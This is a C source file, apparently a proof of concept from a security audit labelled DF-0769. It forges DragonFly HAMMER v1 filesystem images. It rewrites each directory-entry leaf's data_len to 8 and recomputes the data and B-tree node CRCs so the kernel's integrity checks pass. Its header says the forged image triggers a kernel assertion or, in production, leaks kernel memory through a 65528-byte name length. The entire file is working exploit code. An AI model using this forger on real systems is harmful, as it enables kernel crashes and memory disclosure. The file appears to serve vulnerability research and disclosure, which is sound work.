DF-0769 / craft_img.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 | /* * craft_img.c - HAMMER v1 image forger for DF-0769. * * Locates every B-tree leaf element of type HAMMER_RECTYPE_DIRENTRY in a * HAMMER v1 image, sets leaf->data_len = 8 (< HAMMER_ENTRY_NAME_OFF = 16), * recomputes leaf->data_crc = iscsi_crc32(direntry_data[0:8]) and the * containing B-tree node's crc, so that: * - hammer_crc_test_leaf() passes (CRC computed over the forged 8 bytes), * - hammer_crc_test_btree() passes (node CRC recomputed), * - hammer_vop_readdir() reaches :1728 * KKASSERT(cursor.leaf->data_len > HAMMER_ENTRY_NAME_OFF) [GENERIC] * and :1737 d_namlen = (uint16_t)(data_len - 16) = (uint16_t)(-8) = 65528 * [production leak]. * * Struct offsets are hardcoded from sys/vfs/hammer/hammer_disk.h and * hammer_btree.h (verified against the audit tree). CRC32C is the kernel's * own sys/libkern/icrc32.c (compiled for userspace via #ifndef _KERNEL). * * Build: cc -O2 -o craft_img craft_img.c icrc32.c * (icrc32.c copied verbatim from sys/libkern/icrc32.c) * Usage: ./craft_img <image.img> */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <inttypes.h> #include <unistd.h> #include <fcntl.h> /* ---- userspace CRC (the kernel's own iscsi_crc32, from icrc32.c) ---- */ extern uint32_t iscsi_crc32(const void *buf, size_t size); /* ---- HAMMER on-disk constants (hammer_disk.h / hammer_btree.h) ---- */ #define HAMMER_FSBUF_VOLUME 0xC8414D4DC5523031ULL #define HAMMER_BUFSIZE 16384 #define HAMMER_BTREE_TYPE_LEAF ((uint8_t)'L') #define HAMMER_BTREE_TYPE_RECORD ((uint8_t)'R') #define HAMMER_RECTYPE_DIRENTRY 0x0011 /* volume_ondisk field offsets (struct hammer_volume_ondisk) */ #define VOFF_signature 0 #define VOFF_vol_buf_beg 24 #define VOFF_vol_version 152 /* B-tree node (struct hammer_node_ondisk), 4096 bytes */ #define NODE_SIZE 4096 #define NOFF_crc 0 /* hammer_crc_t crc -- MUST BE FIRST */ #define NOFF_count 16 /* int32_t count */ #define NOFF_type 20 /* uint8_t type */ #define NOFF_elms 64 /* union hammer_btree_elm elms[63] */ #define HAMMER_BTREE_CRCSIZE (NODE_SIZE - 4) /* crc covers [4:4096) */ /* leaf elm (struct hammer_btree_leaf_elm), 64 bytes */ #define ELM_SIZE 64 #define EOFF_rec_type 32 /* uint16_t base.rec_type */ #define EOFF_obj_type 34 /* uint8_t base.obj_type */ #define EOFF_btype 35 /* uint8_t base.btype */ #define EOFF_data_offset 48 /* hammer_off_t data_offset */ #define EOFF_data_len 56 /* int32_t data_len */ #define EOFF_data_crc 60 /* hammer_crc_t data_crc */ #define HAMMER_OFF_SHORT_MASK 0x000FFFFFFFFFFFFFULL #define HAMMER_ENTRY_NAME_OFF 16 /* offsetof(hammer_direntry_data, name[0]) */ /* little-endian helpers (DragonFly x86_64 guest is LE) */ static uint16_t rd16(const uint8_t *p){ return (uint16_t)(p[0] | (p[1]<<8)); } static uint32_t rd32(const uint8_t *p){ return (uint32_t)(p[0] | (p[1]<<8) | (p[2]<<16) | ((uint32_t)p[3]<<24)); } static uint64_t rd64(const uint8_t *p){ return (uint64_t)p[0] | ((uint64_t)p[1]<<8) | ((uint64_t)p[2]<<16) | ((uint64_t)p[3]<<24) | ((uint64_t)p[4]<<32) | ((uint64_t)p[5]<<40) | ((uint64_t)p[6]<<48) | ((uint64_t)p[7]<<56); } static void wr32(uint8_t *p, uint32_t v){ p[0]=v; p[1]=v>>8; p[2]=v>>16; p[3]=v>>24; } int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "scratch.img"; int fd = open(path, O_RDWR); if (fd < 0) { perror("open"); return 1; } /* read volume header at offset 0 */ uint8_t vhdr[256]; if (pread(fd, vhdr, sizeof vhdr, 0) != (ssize_t)sizeof vhdr) { perror("pread vhdr"); return 1; } uint64_t sig = rd64(vhdr + VOFF_signature); if (sig != HAMMER_FSBUF_VOLUME) { fprintf(stderr, "not a HAMMER volume (sig=%016" PRIx64 ")\n", sig); return 1; } int64_t vol_buf_beg = (int64_t)rd64(vhdr + VOFF_vol_buf_beg); uint32_t vol_version = rd32(vhdr + VOFF_vol_version); printf("vol_buf_beg=0x%" PRIx64 " vol_version=%u\n", (int64_t)vol_buf_beg, vol_version); if (vol_version < 7) { fprintf(stderr, "WARNING: vol_version=%u (<7) uses crc32 not iscsi_crc32; results may differ\n", vol_version); } /* get image size */ off_t imgsz = lseek(fd, 0, SEEK_END); printf("image size=%lld bytes\n", (long long)imgsz); /* scan every 4KB block for B-tree leaf nodes */ uint8_t node[NODE_SIZE]; int patched_total = 0; off_t off; for (off = 0; off + NODE_SIZE <= imgsz; off += NODE_SIZE) { if (pread(fd, node, NODE_SIZE, off) != NODE_SIZE) continue; if (node[NOFF_type] != HAMMER_BTREE_TYPE_LEAF) continue; int32_t count = (int32_t)rd32(node + NOFF_count); if (count < 0 || count > 63) continue; /* self-check: existing node crc must be valid (confirms real node + our CRC) */ uint32_t stored_nodecrc = rd32(node + NOFF_crc); uint32_t calc_nodecrc = iscsi_crc32(node + 4, HAMMER_BTREE_CRCSIZE); int node_crc_ok = (stored_nodecrc == calc_nodecrc); int node_dirty = 0; for (int i = 0; i < count; i++) { uint8_t *elm = node + NOFF_elms + (size_t)i * ELM_SIZE; uint16_t rec_type = rd16(elm + EOFF_rec_type); uint8_t btype = elm[EOFF_btype]; if (rec_type != HAMMER_RECTYPE_DIRENTRY) continue; if (btype != HAMMER_BTREE_TYPE_RECORD) continue; uint64_t data_offset = rd64(elm + EOFF_data_offset); int32_t data_len = (int32_t)rd32(elm + EOFF_data_len); uint32_t stored_dcrc = rd32(elm + EOFF_data_crc); /* physical offset of the direntry data buffer */ uint64_t zone2 = data_offset & HAMMER_OFF_SHORT_MASK; off_t phys = vol_buf_beg + (off_t)zone2; /* CRC self-check over ORIGINAL data_len bytes */ if (data_len > 0 && data_len <= HAMMER_BUFSIZE && phys + data_len <= imgsz) { uint8_t dbuf[HAMMER_BUFSIZE]; pread(fd, dbuf, data_len, phys); uint32_t calc_dcrc = iscsi_crc32(dbuf, data_len); if (calc_dcrc != stored_dcrc) { fprintf(stderr, " [warn] @0x%llx elm[%d] data CRC mismatch stored=%08"PRIx32 " calc=%08"PRIx32" (len=%d phys=0x%llx) -- CRC impl may be wrong\n", (long long)off, i, stored_dcrc, calc_dcrc, data_len, (long long)phys); } } /* read the direntry name (for human reporting) */ char nm[64] = {0}; if (data_len > HAMMER_ENTRY_NAME_OFF && phys + data_len <= imgsz) { pread(fd, nm, data_len - HAMMER_ENTRY_NAME_OFF, phys + HAMMER_ENTRY_NAME_OFF); nm[sizeof(nm)-1] = 0; } printf(" @node 0x%llx elm[%d] '%s' data_offset=%016" PRIx64 " data_len=%d -> forging data_len=8\n", (long long)off, i, nm, data_offset, data_len); /* FORGE: data_len = 8 */ wr32(elm + EOFF_data_len, 8); /* recompute data_crc over the first 8 bytes of the direntry data */ uint8_t dbuf8[8]; if (pread(fd, dbuf8, 8, phys) != 8) { fprintf(stderr, " cannot read 8 bytes at phys=0x%llx\n", (long long)phys); continue; } uint32_t new_dcrc = iscsi_crc32(dbuf8, 8); wr32(elm + EOFF_data_crc, new_dcrc); printf(" forged data_crc=%08" PRIx32 " (iscsi_crc32 of 8 bytes at phys 0x%llx)\n", new_dcrc, (long long)phys); node_dirty = 1; patched_total++; } if (node_dirty) { /* recompute node crc over [4:4096) */ uint32_t new_nodecrc = iscsi_crc32(node + 4, HAMMER_BTREE_CRCSIZE); wr32(node + NOFF_crc, new_nodecrc); if (pwrite(fd, node, NODE_SIZE, off) != NODE_SIZE) { perror("pwrite node"); } printf(" @node 0x%llx rewrote node crc: was %08" PRIx32 "(ok=%d) now %08" PRIx32 "\n", (long long)off, stored_nodecrc, node_crc_ok, new_nodecrc); } } printf("PATCHED %d direntry leaf element(s). data_len now 8 (< HAMMER_ENTRY_NAME_OFF=16).\n", patched_total); if (patched_total == 0) { fprintf(stderr, "ERROR: no direntry leaves found -- nothing patched\n"); return 2; } close(fd); return 0; } |